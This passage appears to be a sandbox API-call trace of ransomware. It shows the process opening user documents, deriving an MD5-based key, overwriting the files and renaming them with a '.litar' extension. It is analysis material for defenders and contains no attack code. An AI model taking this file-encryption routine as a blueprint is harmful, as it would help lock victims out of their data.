dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0127.123] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.123] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.123] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.123] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.123] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.123] GetLastError () returned 0x0 [0127.123] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.123] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0127.123] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.123] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd6a0) returned 0x30fa0b0 [0127.124] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.124] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.124] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xd694, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xd694, lpOverlapped=0x0) returned 1 [0127.124] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.124] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd699, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.124] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.124] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.124] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.124] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.124] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.124] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.124] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.124] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.125] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.125] CloseHandle (hObject=0x624) returned 1 [0127.126] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.126] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c0) returned 0x30fa0b0 [0127.126] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.126] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\GcIb4JtMTQ.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0hh2yg pwver\\gcib4jtmtq.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\GcIb4JtMTQ.ppt.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0hh2yg pwver\\gcib4jtmtq.ppt.litar")) returned 1 [0127.127] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.127] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.127] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6aef38 | out: hHeap=0x5c0000) returned 1 [0127.127] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9e6ab0, ftCreationTime.dwHighDateTime=0x1d4c7e0, ftLastAccessTime.dwLowDateTime=0xdba84970, ftLastAccessTime.dwHighDateTime=0x1d4d29b, ftLastWriteTime.dwLowDateTime=0xdba84970, ftLastWriteTime.dwHighDateTime=0x1d4d29b, nFileSizeHigh=0x0, nFileSizeLow=0x94c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hxwsGGSX.odt", cAlternateFileName="")) returned 1 [0127.128] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.128] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xee) returned 0x6aef38 [0127.128] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.128] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\hxwsGGSX.odt") returned=".odt" [0127.128] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\hxwsGGSX.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0hh2yg pwver\\hxwsggsx.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.130] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=38084) returned 1 [0127.130] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.132] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x949e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.132] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.133] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.133] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.133] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.134] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x94c4, lpOverlapped=0x0) returned 1 [0127.134] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.134] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.134] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.134] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.134] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0127.135] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.135] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.135] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.135] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.135] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.135] GetLastError () returned 0x0 [0127.135] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.135] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0127.135] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.135] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x94c0) returned 0x30fa0b0 [0127.136] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.136] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.136] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x94bf, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x94bf, lpOverlapped=0x0) returned 1 [0127.136] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.136] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x94c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.136] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.136] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.136] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.136] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.136] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.136] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.136] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.136] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.136] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.137] CloseHandle (hObject=0x624) returned 1 [0127.137] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.137] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c0) returned 0x30fa0b0 [0127.137] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.137] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\hxwsGGSX.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0hh2yg pwver\\hxwsggsx.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\hxwsGGSX.odt.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0hh2yg pwver\\hxwsggsx.odt.litar")) returned 1 [0127.138] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.138] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.139] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6aef38 | out: hHeap=0x5c0000) returned 1 [0127.139] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb797ac70, ftCreationTime.dwHighDateTime=0x1d4d3bc, ftLastAccessTime.dwLowDateTime=0x8e2e91c0, ftLastAccessTime.dwHighDateTime=0x1d4ce4c, ftLastWriteTime.dwLowDateTime=0x8e2e91c0, ftLastWriteTime.dwHighDateTime=0x1d4ce4c, nFileSizeHigh=0x0, nFileSizeLow=0x8cc9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QUfuVrMTFwGhP.odt", cAlternateFileName="QUFUVR~1.ODT")) returned 1 [0127.139] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.139] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xee) returned 0x6aef38 [0127.139] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.139] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\QUfuVrMTFwGhP.odt") returned=".odt" [0127.139] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\QUfuVrMTFwGhP.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0hh2yg pwver\\qufuvrmtfwghp.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.139] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=36041) returned 1 [0127.139] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.141] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8ca3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.141] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.142] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.143] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.143] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.143] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x8cc9, lpOverlapped=0x0) returned 1 [0127.143] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.143] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.143] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.143] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.143] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0127.144] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.144] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.144] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.144] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.144] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.144] GetLastError () returned 0x0 [0127.144] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.144] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0127.144] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.144] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8cd0) returned 0x30fa0b0 [0127.145] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.145] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.145] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x8cc4, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x8cc4, lpOverlapped=0x0) returned 1 [0127.145] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.145] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8cc9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.145] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.145] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.145] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.145] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.145] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.145] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.145] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.145] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.145] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.145] CloseHandle (hObject=0x624) returned 1 [0127.146] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020a70 [0127.146] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c0) returned 0x30fa0b0 [0127.146] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0127.146] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\QUfuVrMTFwGhP.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0hh2yg pwver\\qufuvrmtfwghp.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\QUfuVrMTFwGhP.odt.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0hh2yg pwver\\qufuvrmtfwghp.odt.litar")) returned 1 [0127.147] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.147] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.148] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6aef38 | out: hHeap=0x5c0000) returned 1 [0127.148] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x847b1410, ftCreationTime.dwHighDateTime=0x1d4c98c, ftLastAccessTime.dwLowDateTime=0x663c20c0, ftLastAccessTime.dwHighDateTime=0x1d4cc7a, ftLastWriteTime.dwLowDateTime=0x663c20c0, ftLastWriteTime.dwHighDateTime=0x1d4cc7a, nFileSizeHigh=0x0, nFileSizeLow=0xc26f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WPd8.docx", cAlternateFileName="WPD8~1.DOC")) returned 1 [0127.148] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.148] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xee) returned 0x6aef38 [0127.148] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.148] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\WPd8.docx") returned=".docx" [0127.148] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\WPd8.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0hh2yg pwver\\wpd8.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.149] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=49775) returned 1 [0127.149] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.151] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xc249, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.151] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.152] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.152] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.152] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.152] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xc26f, lpOverlapped=0x0) returned 1 [0127.153] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.153] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.153] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.153] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.153] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0127.154] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.154] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.154] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.154] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.154] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.154] GetLastError () returned 0x0 [0127.154] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.154] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0127.154] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.154] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc270) returned 0x30fa0b0 [0127.155] SetFilePointer 